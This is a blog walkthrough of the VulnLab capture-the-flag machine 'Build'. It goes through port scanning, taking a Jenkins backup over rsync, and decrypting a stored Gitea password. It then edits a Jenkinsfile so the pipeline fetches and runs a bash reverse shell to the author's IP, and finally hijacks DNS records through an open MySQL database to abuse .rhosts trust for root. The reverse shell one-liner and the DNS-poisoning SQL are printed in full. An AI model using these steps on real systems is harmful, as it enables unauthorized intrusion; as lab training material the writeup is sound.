VulnLab Build Writeup

A writeup on the Easy VulnLab machine 'Build'

xct recently released a new easy box on VulnLab called Build!
I’ll cover how I went about solving this box.

User

As usual I ran a Nmap scan on the box to see what was running.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
nmap -A 10.10.108.178 -o nmap-output.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-10 19:47 EDT
Nmap scan report for 10.10.108.178
Host is up (0.13s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT     STATE    SERVICE         VERSION
22/tcp   open     ssh             OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 47:21:73:e2:6b:96:cd:f9:13:11:af:40:c8:4d:d6:7f (ECDSA)
|_  256 2b:5e:ba:f3:72:d3:b3:09:df:25:41:29:09:f4:7b:f5 (ED25519)
53/tcp   open     domain          PowerDNS
| dns-nsid:
|   NSID: pdns (70646e73)
|_  id.server: pdns
512/tcp  open     exec            netkit-rsh rexecd
513/tcp  open     login?
514/tcp  open     shell           Netkit rshd
873/tcp  open     rsync           (protocol version 31)
3000/tcp open     ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=26485d5c8aa82ea7; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=tOfl1Tc-qODOH-h5aYcBqgbTU-A6MTcxNTM4NDg0OTcyNTAyNDk1Ng; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 10 May 2024 23:47:29 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Gitea: Git with a cup of tea</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2J1aWxkLnZsOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9idWlsZC52bDozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ"
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=e69f3147b3b6f910; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=YjaJnohR60zf-PLBr1encIvmbaM6MTcxNTM4NDg1NTM4NTIyMTkwMg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 10 May 2024 23:47:35 GMT
|_    Content-Length: 0
3306/tcp filtered mysql
8081/tcp filtered blackice-icecap
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=5/10%Time=663EB211%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,2990,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
SF:ea=26485d5c8aa82ea7;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=tOfl1Tc-qODOH-h5aYcBqgbTU-A6MTcxNTM4NDg0OTcyNTAyNDk1Ng;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Fri,\x2010\x20May\x202024\x2023:47:29\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"the
SF:me-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x20a\x
SF:20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"data:
SF:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHR
SF:lYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3Rhcn
SF:RfdXJsIjoiaHR0cDovL2J1aWxkLnZsOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6L
SF:y9idWlsZC52bDozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5n
SF:Iiwic2l6ZXMiOiI1MTJ")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,1A4,"HTTP/1\.0\x20405\x20Me
SF:thod\x20Not\x20Allowed\r\nAllow:\x20HEAD\r\nAllow:\x20HEAD\r\nAllow:\x2
SF:0GET\r\nCache-Control:\x20max-age=0,\x20private,\x20must-revalidate,\x2
SF:0no-transform\r\nSet-Cookie:\x20i_like_gitea=e69f3147b3b6f910;\x20Path=
SF:/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20_csrf=YjaJnohR60zf-PL
SF:Br1encIvmbaM6MTcxNTM4NDg1NTM4NTIyMTkwMg;\x20Path=/;\x20Max-Age=86400;\x
SF:20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\
SF:x20Fri,\x2010\x20May\x202024\x2023:47:35\x20GMT\r\nContent-Length:\x200
SF:\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.67 seconds

There are a few unusual services that are listening.

  • rexec 512
  • rlogin 513
  • rsh 514

These are apart of Berkeley’s r-commands which you can read more about here. These services are very insecure and were the precursor to telnet. Rlogin and rsh both authenticate based off of a .rhosts file that is in a user’s home directory. I’ll go more into that later.

The server is also running rsync which is a service that facilitates the transfer of files, meaning it may have a file share that is open.
There is also a webpage being served at port 3000 which is Gitea, which I just dealt with in my Lock writeup.
Finally there is a MySQL server running and something running on port 8081, but both services are filtered by the firewall so I couldn’t immediately access them.
I tried authenticating with rlogin with a few different usernames in hopes the .rhosts file was misconfigured, but nothing came of it so I pivoted to Gitea.

There was one repository that was publically readable called ‘dev’ by a user named ‘buildadm’. It only held one file which was a Jenkinsfile. Judging off of the sh /bin/true line I thought this may be a place for a reverse shell if the commands are ran when the file is updated, figuring this is a part of a CI/CD pipeline.
Image 1
There were no commits revealing any other interesting information and no immediate way to update the file, so I moved onto the rsync service running. I found this when enumerating it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿DESKTOP-7F5ILMQ)-[~/vulnlab/easy/build]
└─$ rsync -av --list-only rsync://10.10.108.178/
backups         backups

┌──(kali㉿DESKTOP-7F5ILMQ)-[~/vulnlab/easy/build]
└─$ rsync -av --list-only rsync://10.10.108.178/backups
receiving incremental file list
drwxr-xr-x          4,096 2024/05/02 09:26:31 .
-rw-r--r--    376,289,280 2024/05/02 09:26:19 jenkins.tar.gz

sent 24 bytes  received 82 bytes  70.67 bytes/sec
total size is 376,289,280  speedup is 3,549,898.87

┌──(kali㉿DESKTOP-7F5ILMQ)-[~/vulnlab/easy/build]
└─$ rsync -av rsync://10.10.108.178/backups/jenkins.tar.gz .
receiving incremental file list
jenkins.tar.gz

sent 43 bytes  received 376,381,250 bytes  2,330,534.32 bytes/sec
total size is 376,289,280  speedup is 1.00

The share has a ‘backups’ module which contains a jenkins.tar.gz file. After using tar -xf jenkins.tar.gz (for some reason it wasn’t compressed with gzip?) I extracted a jenkins_configuration directory which held all the necessary config files for a jenkins service. I thought I may be able to crack the password hash of the admin user of jenkins but after leaving it running with hashcat and rockyou for a while nothing came of it. I then searched for more passwords in the configuration and found that jenkins handled the creation of running Gitea and had stored buildadm’s password in its builds.
Image 2
I initially thought this was a hash of the password, but found that Jenkins actually encrypted the password. This article helped with figuring out how to decrypt the password along with the actual script used here. After storing the password in a separate file and running the script against it I recovered the password.
Image 3
Now I was able to login to buildadm! After a little looking around it looked like the only interesting thing I could do was to edit the Jenkinsfile. I had tried to setup a reverse shell with netcat and a few other things, but the only thing that actually worked was cURLing a revshell from my computer and using bash on it. The revshell just had the simple payload of /bin/bash -i >& /dev/tcp/10.8.1.239/4444 0>&1.
Image 4
After actually commiting these changes, I could see in Gitea that these were being pushed and if it was successfully integrated or not. The reverse shells that didn’t just use cURL failed but this one actually succeeded, giving me a reverse shell on the machine. This gave me a root shell! But I quickly realized I was on a docker container. Thankfully there was still a flag in root’s home directory.

Root

Now I had to figure out how to escape from the docker container or something similar. There were a couple of new things I could try. The first thing was that I could now access the ports that were filtered by a firewall so I could interact with the services on port 8081 and port 3306 through port forwarding. The second thing was that in the root’s home directory was a .rhosts file. The .rhosts file had two entries in it.

1
2
admin.build.vl +
intern.build.vl +

This means that the admin.build.vl and the intern.build.vl hosts can login with any user and without a password. This is huge news but I also realized that the docker container was for jenkins specifically, meaning there was no r-command services running on it. This led me to believe that this .rhosts file may belong in one of the home directories of a user on the host machine. I tried looking into possibly spoofing my hostname and authenticating into the host machine but couldn’t figure anything out, so I moved on.

I proceeded to try and see what was on the ports I previously couldn’t access. I used ssh to port forward port 8081 to be accessible on my localhost at port 8080 with the command ssh -R 8080:10.10.108.178:8081 [email protected] -i ~/id_rsa2. To do this I had to create a key pair with ssh-keygen -t rsa -b 4096. I then had to add the public key to my machine’s ‘authorized_keys’ file. After that I stood up a web server on my machine and copied the private key onto the docker container. Now I could successfully use the private key to authenticate onto my own machine.

Navigating to port 8080 on my own machine really didn’t have much to show. It just asked for authentication and I found mention of ‘PowerDNS’ in its response. Since I didn’t really have any creds that related to PowerDNS I moved onto port forwarding 3306 with the command ssh -R 8080:10.10.108.178:3306 [email protected] -i ~/id_rsa2. I was worried I was at a dead end since I did not have any creds relating to MySQL either, but it turned out the database allowed root authentication with no password using this command mysql -h localhost -u root -P 3306!

The only non-standard database was a database called ‘powerdnsadmin’. This held all the information for the machine’s DNS server. There were two tables that were particularly important. One was the user table which held an admin user with their password.
Image 5
I figured I would let hashcat take a crack at it with rockyou and sure enough, it was able to crack the password.
Image 6
Even though you’d think this password was pretty important… I didn’t really find any uses for it. Even though I could have tested it on port 8081 and maybe there was a management interface for PowerDNS there, I already had direct access to modifying the DNS records. I didn’t really find it to help me too much, so I moved on from it.

The second important table was the records table. This held the DNS records of the build.vl domain. Thinking back to how I couldn’t figure out how to spoof my hostname to be admin.build.vl I realized that I could possibly update these records to force the machine’s own DNS to recognize my IP address as admin.build.vl. Maybe I could then use rlogin to login with a certain user to the host machine if it recognized me as admin.build.vl.

1
INSERT INTO powerdnsadmin.records (domain_id, name, type, content, ttl, prio, disabled, ordername, auth) VALUES ((SELECT id FROM powerdnsadmin.domains WHERE name = 'build.vl'), 'admin.build.vl', 'A', '10.8.1.239', 60, 0, 0, NULL, 1);

The command above just adds a new record that makes admin.build.vl resolve to my IP address. I also did a similar command to intern.build.vl just for good measure.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
MariaDB [powerdnsadmin]> select * from records;
+----+-----------+----------------------+------+------------------------------------------------------------------------------------------+------+------+----------+-----------+------+
| id | domain_id | name                 | type | content                                                                                  | ttl  | prio | disabled | ordername | auth |
+----+-----------+----------------------+------+------------------------------------------------------------------------------------------+------+------+----------+-----------+------+
|  8 |         1 | db.build.vl          | A    | 172.18.0.4                                                                               |   60 |    0 |        0 | NULL      |    1 |
|  9 |         1 | gitea.build.vl       | A    | 172.18.0.2                                                                               |   60 |    0 |        0 | NULL      |    1 |
| 10 |         1 | intern.build.vl      | A    | 10.8.1.239                                                                               |   60 |    0 |        0 | NULL      |    1 |
| 11 |         1 | jenkins.build.vl     | A    | 172.18.0.3                                                                               |   60 |    0 |        0 | NULL      |    1 |
| 12 |         1 | pdns-worker.build.vl | A    | 172.18.0.5                                                                               |   60 |    0 |        0 | NULL      |    1 |
| 13 |         1 | pdns.build.vl        | A    | 172.18.0.6                                                                               |   60 |    0 |        0 | NULL      |    1 |
| 14 |         1 | build.vl             | SOA  | a.misconfigured.dns.server.invalid hostmaster.build.vl 2024050201 10800 3600 604800 3600 | 1500 |    0 |        0 | NULL      |    1 |
| 15 |         1 | admin.build.vl       | A    | 10.8.1.239                                                                               |   60 |    0 |        0 | NULL      |    1 |
+----+-----------+----------------------+------+------------------------------------------------------------------------------------------+------+------+----------+-----------+------+
8 rows in set (0.139 sec)

Now that that was done, I checked to see if the DNS actually updated and:

1
2
3
4
5
6
7
┌──(kali㉿DESKTOP-7F5ILMQ)-[~/vulnlab/easy/build]
└─$ nslookup admin.build.vl 10.10.108.178
Server:         10.10.108.178
Address:        10.10.108.178#53

Name:   admin.build.vl
Address: 10.8.1.239

Great! Now if the same .rhosts file is in the directory of the root user on the host machine I should be able to authenticate without a password.
Image 7
Image 8
Great box and it was fun being creative especially with adding the DNS records to make admin.build.vl resolve to my own machine!

Licensed under CC BY-NC-SA 4.0
Last updated on May 11, 2024 00:00 UTC